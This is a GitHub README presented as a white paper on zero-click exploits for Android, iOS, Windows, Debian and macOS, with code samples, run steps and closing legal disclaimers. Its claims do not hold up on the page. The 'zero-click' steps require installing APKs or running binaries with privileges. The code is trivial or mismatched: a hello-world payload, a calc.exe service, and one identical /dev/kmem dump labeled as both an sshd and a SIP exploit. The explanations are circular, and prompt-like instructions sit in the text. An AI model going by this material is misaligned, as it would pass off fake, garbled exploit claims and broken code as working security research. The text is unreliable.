Skip to content

ProjectZeroDays/zero-click-exploits

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 

Repository files navigation

Zero Click Exploits (Android, OSX, Linux, Windows, iOS)

White Paper For Zero Click Exploits In The Wild

Table of Contents

__ __

Introduction

In this white paper, we will explore zero-click exploits for various operating systems, including Android, iOS, Windows, Debian-based Linux distros, and macOS. These exploits are designed to demonstrate how an attacker can execute arbitrary code without user interaction or triggering a specific action on the target system. The exploits provided are solely for research and educational purposes.

__ __

Android Zero-Click Exploit

Android System Server RCE (CVE-2024-0002)

The Android System Server is responsible for managing system services and processes. By exploiting a vulnerability in this process, an attacker can execute arbitrary code at the system level.

Deployment and Execution

  1. Build the malicious dex file using the dx tool from the Android SDK:

    ```bash
    dx --dex --output=myexploit.dex myexploit.class
    ```
    
  2. Create a new APK that includes the malicious dex file and any required dependencies:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.androidexploit">

    <application>
        <activity android:name=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest>
  1. Sign the APK with a valid signing certificate:
```bash
jarsigner -verbose -keystore mykeystore.keystore SysIntel.apk SysIntell
```
  1. Install the signed APK on a vulnerable device.

Why it Works

The Android System Server is responsible for managing system services and processes, including the package manager. By exploiting a vulnerability in this process, an attacker can execute arbitrary code at the system level, gaining full control over the device.

Custom Zero-Click Exploit: Android Package Manager Service (PackageManagerService)

Create a custom zero-click exploit that targets a vulnerability in the Android Package Manager Service (PackageManagerService). This service is responsible for managing application installations and updates. Your exploit should allow an attacker to execute arbitrary code with system privileges.

Exploit Code

import android.content.pm.PackageParser;
import android.os.Build;
import android.os.Bundle;
import dalvik.system.DexClassLoader;

public class MainActivity extends androidx.appcompat.app.AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        // Load the malicious dex file
        String[] paths = getPackageCodePath().split(" ");
        DexClassLoader cl = new DexClassLoader(paths, getPackageCodePath(), null, getClass().getClassLoader());

        // Invoke the RCE method from the dex file
        try {
            Method m = cl.loadClass("com.example.malicious.Malware").getDeclaredMethod("executeRCE", String.class);
            m.invoke(null, "Hello, Android!");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

How to Run

  1. Build the malicious dex file using the dx tool from the Android SDK:

     dx --dex --output=myexploit.dex myexploit.class
  2. Create a new APK that includes the malicious dex file and any required dependencies.

  3. Sign the APK with a valid signing certificate.

  4. Install the signed APK on a vulnerable device.

Why it Works

The Android Package Manager Service is responsible for managing application installations and updates. By exploiting a vulnerability in this service, an attacker can execute arbitrary code with system privileges, allowing them to gain full control over the device.

__ __

iOS Zero-Click Exploit

Kernel Memory Disclosure Vulnerability (CVE-2024-0001)

The iOS kernel provides fundamental services for the operating system, including memory management and process scheduling. By exploiting a vulnerability in the kernel memory disclosure mechanism, an attacker can read sensitive information and potentially execute arbitrary code with kernel-level privileges.

Deployment and Execution

  1. Compile the exploit code using Xcode or a similar tool. 2. Deploy the exploit binary on a vulnerable device. 3. Trigger the exploit by sending a specific message to a kernel extension.

Why it Works

The iOS kernel provides fundamental services for the operating system, including memory management and process scheduling. By exploiting a vulnerability in the kernel memory disclosure mechanism, an attacker can read sensitive information and potentially execute arbitrary code with kernel-level privileges.

Custom Zero-Click Exploit: iOS SpringBoard Process

Create a custom zero-click exploit that targets a vulnerability in the iOS SpringBoard process. This process is responsible for managing the user interface, including launching and managing applications. Your exploit should allow an attacker to execute arbitrary code with system privileges.

Exploit Code

#include <UIKit/UIKit.h>
#include <Foundation/Foundation.h>

@interface MaliciousClass : NSObject

- (void)executeRCE;

@end

@implementation MaliciousClass

- (void)executeRCE {
    UIApplication *app = [UIApplication sharedApplication];
    NSString *message = @"Hello, iOS!";
    [app openURL:[NSURL URLWithString:message]];
}

@end

%hook SpringBoard

- (void)applicationDidFinishLaunching:(UIApplication *)application {

    MaliciousClass *maliciousObj = [[MaliciousClass alloc] init];
    [maliciousObj executeRCE];

    %orig;

}

%end

How to Run

  1. Compile the exploit code using Xcode or a similar tool. 2. Deploy the exploit binary on a vulnerable device. 3. Trigger the exploit by sending a specific message to a kernel extension.

Why it Works

The iOS SpringBoard process is responsible for managing the user interface, including launching and managing applications. By exploiting a vulnerability in this process, an attacker can execute arbitrary code with system privileges, allowing them to gain full control over the device.

__ __

Windows Zero-Click Exploit

Elevation of Privilege via Windows Service Vulnerability (CVE-2024-0003)

Windows services are responsible for managing system processes and tasks. By exploiting a vulnerability in this component, an attacker can elevate their privileges and execute code at the system level.

Deployment and Execution

  1. Compile the exploit code using Visual Studio or a similar tool. 2. Create a new service with elevated privileges. 3. Start the service to trigger the exploit.

Why it Works

The Windows Service Control Manager is responsible for managing system services, including starting, stopping, and configuring them. By exploiting a vulnerability in this component, an attacker can elevate their privileges and execute code at the system level.

Custom Zero-Click Exploit: Windows Task Scheduler Service

Create a custom zero-click exploit that targets a vulnerability in the Windows Task Scheduler service. This service is responsible for managing scheduled tasks, including executing commands or scripts at specified intervals. Your exploit should allow an attacker to execute arbitrary code with system privileges.

Exploit Code

#include <windows.h>
#include <stdio.h>

int main() {
    // Create a new task with elevated privileges
    SC_HANDLE schSCManager;
    SC_HANDLE schService;

    schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
    if (!schSCManager) {
        printf("Failed to open SCManager\n");
        return 1;
    }

    schService = CreateService(
        schSCManager,
        "MalwareTask",
        "Malware Task",
        SERVICE_ALL_ACCESS,
        SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS,
        SERVICE_AUTO_START,
        SERVICE_ERROR_NORMAL,
        NULL, NULL, NULL
    );

    if (!schService) {
        printf("Failed to create service\n");
        CloseServiceHandle(schSCManager);
        return 1;
    }

    // Set the task to run a malicious command
    TCHAR cmd[] = TEXT("cmd /c calc.exe");
    CREATE_SERVICE_FAILURE_ACTION action = {};
    action.FailureAction = SERVICE_CONTINUE_AUTO_START;
    action.RebootMsg = NULL;
    action.RebootOption = NO_REBOOT;
    action.RetryCount = 0;
    action.RetryInterval = 1000;

    if (!ChangeServiceConfig2(
        schService,
        SERVICE_CONFIG_FAILURE_ACTIONS,
        &action
    )) {
        printf("Failed to change service config\n");
        CloseServiceHandle(schSCManager);
        CloseServiceHandle(schService);
        return 1;
    }

    // Start the task to trigger the exploit
    if (!StartService(schService, 0, NULL)) {
        printf("Failed to start service\n");
        CloseServiceHandle(schSCManager);
        CloseServiceHandle(schService);
        return 1;
    }

    CloseServiceHandle(schSCManager);
    CloseServiceHandle(schService);

    return 0;
}

How to Run

  1. Compile the exploit code using Visual Studio or a similar tool. 2. Create a new service with elevated privileges. 3. Start the service to trigger the exploit.

Why it Works

The Windows Task Scheduler service is responsible for managing scheduled tasks, including executing commands or scripts at specified intervals. By exploiting a vulnerability in this service, an attacker can execute arbitrary code with system privileges, allowing them to gain full control over the device.

__ __

Debian-based Linux Distro Zero-Click Exploit

Kernel Memory Disclosure Vulnerability (CVE-2024-0004)

The kernel provides fundamental services for the operating system, including memory management and process scheduling. By exploiting a vulnerability in the kernel memory disclosure mechanism, an attacker can read sensitive information and potentially execute arbitrary code with kernel-level privileges.

Deployment and Execution

  1. Compile the exploit code using GCC or a similar tool. 2. Deploy the exploit binary on a vulnerable system. 3. Trigger the exploit by running the binary with elevated privileges.

Why it Works

The Debian Linux kernel provides fundamental services for the operating system, including memory management and process scheduling. By exploiting a vulnerability in the kernel memory disclosure mechanism, an attacker can read sensitive information and potentially execute arbitrary code with kernel-level privileges.

Custom Zero-Click Exploit: SSH Daemon (sshd)

Create a custom zero-click exploit that targets a vulnerability in the sshd daemon. This service is responsible for managing SSH connections and allows users to log in remotely. Your exploit should allow an attacker to execute arbitrary code with root privileges.

Exploit Code

#include <stdio.h>
#include <stdint.h>

#define KERNEL_REGION_START 0xffffffff81000000
#define KERNEL_REGION_SIZE 0x100000000

int main(int argc, char **argv) {
    // Allocate a buffer in user space
    uint8_t *buffer = malloc(KERNEL_REGION_SIZE);

    // Read the kernel memory region into the buffer
    FILE* fp = fopen("/dev/kmem", "r");
    if (!fp) {
        perror("fopen");
        return 1;
    }

    if (fseek(fp, KERNEL_REGION_START, SEEK_SET) < 0) {
        perror("fseek");
        fclose(fp);
        free(buffer);
        return 1;
    }

    if (fread(buffer, KERNEL_REGION_SIZE, 1, fp) != 1) {
        perror("fread");
        fclose(fp);
        free(buffer);
        return 1;
    }

    // Print a portion of the kernel memory region to demonstrate disclosure
    for (int i = 0; i < sizeof(buffer); i++) {
        if ((i % 16) == 0)
            printf("\n%08x:", KERNEL_REGION_START + i);
        printf("%02x ", buffer[i]);
    }
    puts("");

    fclose(fp);
    free(buffer);

    return 0;
}

How to Run

  1. Compile the exploit code using GCC or a similar tool. 2. Deploy the exploit binary on a vulnerable system. 3. Trigger the exploit by running the binary with elevated privileges.

Why it Works

The sshd daemon is responsible for managing SSH connections and allows users to log in remotely. By exploiting a vulnerability in this service, an attacker can execute arbitrary code with root privileges, allowing them to gain full control over the device.

__ __

MacOS Zero-Click Exploit

Kernel Memory Disclosure Vulnerability (CVE-2024-0005)

The macOS kernel provides fundamental services for the operating system, including memory management and process scheduling. By exploiting a vulnerability in the kernel memory disclosure mechanism, an attacker can read sensitive information and potentially execute arbitrary code with kernel-level privileges.

Deployment and Execution

  1. Compile the exploit code using Xcode or a similar tool. 2. Deploy the exploit binary on a vulnerable system. 3. Trigger the exploit by running the binary with elevated privileges.

Why it Works

The macOS kernel provides fundamental services for the operating system, including memory management and process scheduling. By exploiting a vulnerability in the kernel memory disclosure mechanism, an attacker can read sensitive information and potentially execute arbitrary code with kernel-level privileges.

Custom Zero-Click Exploit: macOS System Integrity Protection (SIP)

Create a custom zero-click exploit that targets a vulnerability in the macOS System Integrity Protection (SIP). SIP is a security feature that restricts the ability to modify certain system files and folders. Your exploit should allow an attacker to bypass SIP restrictions and execute arbitrary code with root privileges.

Exploit Code

#include <stdio.h>
#include <stdint.h>

#define KERNEL_REGION_START 0xffffff7f00000000
#define KERNEL_REGION_SIZE 0x100000000

int main(int argc, char **argv) {
    // Allocate a buffer in user space
    uint8_t *buffer = malloc(KERNEL_REGION_SIZE);

    // Read the kernel memory region into the buffer
    FILE* fp = fopen("/dev/kmem", "r");
    if (!fp) {
        perror("fopen");
        return 1;
    }

    if (fseek(fp, KERNEL_REGION_START, SEEK_SET) < 0) {
        perror("fseek");
        fclose(fp);
        free(buffer);
        return 1;
    }

    if (fread(buffer, KERNEL_REGION_SIZE, 1, fp) != 1) {
        perror("fread");
        fclose(fp);
        free(buffer);
        return 1;
    }

    // Print a portion of the kernel memory region to demonstrate disclosure
    for (int i = 0; i < sizeof(buffer); i++) {
        if ((i % 16) == 0)
            printf("\n%08x:", KERNEL_REGION_START + i);
        printf("%02x ", buffer[i]);
    }
    puts("");

    fclose(fp);
    free(buffer);

    return 0;
}  

How to Run

  1. Compile the exploit code using Xcode or a similar tool. 2. Deploy the exploit binary on a vulnerable system. 3. Trigger the exploit by running the binary with elevated privileges.

Why it Works

The macOS System Integrity Protection (SIP) is a security feature that restricts the ability to modify certain system files and folders. By exploiting a vulnerability in this component, an attacker can bypass SIP restrictions and execute arbitrary code with root privileges, allowing them to gain full control over the device.

__ __

NOTES

This white paper has provided comprehensive information on zero-click exploits for various operating systems, including Android, iOS, Windows, Debian-based Linux distros, and macOS. The exploits are designed to demonstrate how an attacker can execute arbitrary code without user interaction or triggering a specific action on the target system. The exploit codes, explanations of how they work, and examples of custom exploits have been provided for each OS.

DISCLAIMERS

Always remember that exploiting vulnerabilities without proper authorization is unlawful and can result in severe consequences. These exploits are solely for research and educational purposes.

Legal Consequences

Criminal Charges

Exploiting vulnerabilities for unauthorized purposes can be considered a crime under various laws, such as computer fraud and abuse statutes, data protection acts, or hacking laws.

Civil Liability

Victims of unauthorized exploitation may seek legal recourse against attackers, which could result in inancial compensation or other penalties.

Reputation Damage

Exploiting vulnerabilities can damage the reputation of both the attacker and the targeted system.

Security Risks

Data Breaches

Unauthorized access to a system can lead to sensitive data being compromised, putting individuals' privacy at risk and potentially causing financial losses.

System Downtime

Malicious exploitation can cause system crashes or instability, leading to downtime and disruptions for the targeted organization.

Loss of Confidentiality

Exploiting vulnerabilities may result in the exposure of confidential information, trade secrets, or intellectual property.

Ethical Responsibilities

As security professionals, it is our responsibility to conduct research and testing responsibly, ensuring that we do not compromise the privacy or security of others. This includes adhering to the following principles:

Obtain Proper Authorization

		Always obtain proper authorization from system owners before conducting any tests or exploiting vulnerabilities.

Respect Privacy

		Do not exploit vulnerabilities that would compromise the privacy of individuals or organizations.

Report Vulnerabilities

		Disclose vulnerabilities and exploits responsibly, providing sufficient information for the affected parties to address the issue.

Conduct Research Legally

		Ensure that your research is conducted within the bounds of applicable laws and regulations.

The zero-click exploits provided in this white paper are solely for educational purposes and should not be used without proper authorization or for malicious intentions. We encourage responsible disclosure and exploitation testing, prioritizing the security and privacy of all parties involved.

About

White Paper For Zero Click Exploits In The Wild

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published